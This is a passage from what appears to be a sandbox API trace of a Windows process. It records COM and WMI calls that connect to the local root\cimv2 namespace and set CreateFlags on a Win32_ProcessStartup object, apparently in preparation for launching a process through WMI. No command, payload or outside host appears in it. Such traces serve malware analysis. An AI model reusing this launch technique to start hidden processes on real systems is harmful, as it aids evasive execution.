Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0158.856] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0158.856] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0158.856] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.858] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc14b50) returned 0x0 [0158.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc14b50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0158.858] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc14b50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3ecc0) returned 0x0 [0158.858] WbemDefPath:IUnknown:Release (This=0x1bc14b50) returned 0x0 [0158.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3ecc0) returned 0x0 [0158.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0158.861] WbemDefPath:IUnknown:AddRef (This=0x1bc3ecc0) returned 0x3 [0158.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0158.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0158.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc14b70) returned 0x0 [0158.861] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc14b70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.861] WbemDefPath:IUnknown:Release (This=0x1bc14b70) returned 0x3 [0158.861] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0158.861] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0158.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0158.861] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x2 [0158.861] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x1 [0158.861] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0158.861] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0158.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3ecc0) returned 0x0 [0158.861] WbemDefPath:IUnknown:AddRef (This=0x1bc3ecc0) returned 0x3 [0158.861] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x2 [0158.861] WbemDefPath:IWbemPath:SetText (This=0x1bc3ecc0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0158.861] IWbemClassObject:Get (in: This=0x1bbb4db0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x271db30*=0, plFlavor=0x271db34*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x271db30*=19, plFlavor=0x271db34*=0) returned 0x0 [0158.862] IWbemClassObject:Get (in: This=0x1bbb4db0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x271db30*=19, plFlavor=0x271db34*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x271db30*=19, plFlavor=0x271db34*=0) returned 0x0 [0158.862] IWbemClassObject:Put (This=0x1bbb4db0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0158.862] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ec00, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0158.862] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0158.862] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0158.862] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.862] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0158.862] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0158.862] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0158.862] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.864] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc14cd0) returned 0x0 [0158.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc14cd0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0158.864] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc14cd0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3ef00) returned 0x0 [0158.864] WbemDefPath:IUnknown:Release (This=0x1bc14cd0) returned 0x0 [0158.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3ef00) returned 0x0 [0158.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0158.865] WbemDefPath:IUnknown:AddRef (This=0x1bc3ef00) returned 0x3 [0158.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0158.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0158.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc14d10) returned 0x0 [0158.865] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc14d10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.865] WbemDefPath:IUnknown:Release (This=0x1bc14d10) returned 0x3 [0158.865] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0158.865] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0158.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0158.865] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x2 [0158.865] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x1 [0158.865] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0158.865] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0158.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3ef00) returned 0x0 [0158.866] WbemDefPath:IUnknown:AddRef (This=0x1bc3ef00) returned 0x3 [0158.866] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x2 [0158.866] WbemDefPath:IWbemPath:SetText (This=0x1bc3ef00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0158.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0158.866] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0158.866] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.866] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0158.866] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0158.866] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0158.866] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.867] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc14e10) returned 0x0 [0158.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0158.867] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc14e10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc14e30) returned 0x0 [0158.867] WbemLocator:IUnknown:Release (This=0x1bc14e10) returned 0x0 [0158.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc14e30) returned 0x0 [0158.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0158.868] WbemLocator:IUnknown:AddRef (This=0x1bc14e30) returned 0x3 [0158.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0158.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0158.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0158.868] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0158.868] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0158.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0158.868] WbemLocator:IUnknown:Release (This=0x1bc14e30) returned 0x2 [0158.868] WbemLocator:IUnknown:Release (This=0x1bc14e30) returned 0x1 [0158.868] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0158.868] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0158.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14e30, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc14e30) returned 0x0 [0158.869] WbemLocator:IUnknown:AddRef (This=0x1bc14e30) returned 0x3 [0158.869] WbemLocator:IUnknown:Release (This=0x1bc14e30) returned 0x2 [0158.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0158.869] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0158.869] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.869] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc14e50) returned 0x0 [0158.869] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc14e50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bb97d00) returned 0x0 [0158.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97d00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdc800) returned 0x0 [0158.880] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdc800, pProxy=0x1bb97d00, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0158.880] WbemLocator:IUnknown:Release (This=0x1bbdc800) returned 0x1 [0158.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97d00, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdc840) returned 0x0 [0158.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97d00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdc800) returned 0x0 [0158.880] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdc800, pProxy=0x1bb97d00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0158.881] WbemLocator:IUnknown:Release (This=0x1bbdc800) returned 0x2 [0158.881] WbemLocator:IUnknown:Release (This=0x1bbdc840) returned 0x1 [0158.881] CoTaskMemFree (pv=0x1bc19320) [0158.881] WbemLocator:IUnknown:AddRef (This=0x1bb97d00) returned 0x2 [0158.881] WbemLocator:IUnknown:Release (This=0x1bc14e50) returned 0x0 [0158.881] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0158.881] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0158.881] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97d00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdc810) returned 0x0 [0158.882] WbemLocator:IRpcOptions:Query (in: This=0x1bbdc810, pPrx=0x1bc14eb0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0158.882] WbemLocator:IUnknown:Release (This=0x1bbdc810) returned 0x2 [0158.882] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0158.882] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0158.882] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97d00, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bb97d00) returned 0x0 [0158.882] WbemLocator:IUnknown:Release (This=0x1bb97d00) returned 0x2 [0158.882] SysStringLen (param_1=0x0) returned 0x0 [0158.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0158.882] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0158.882] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.882] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ec00, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: 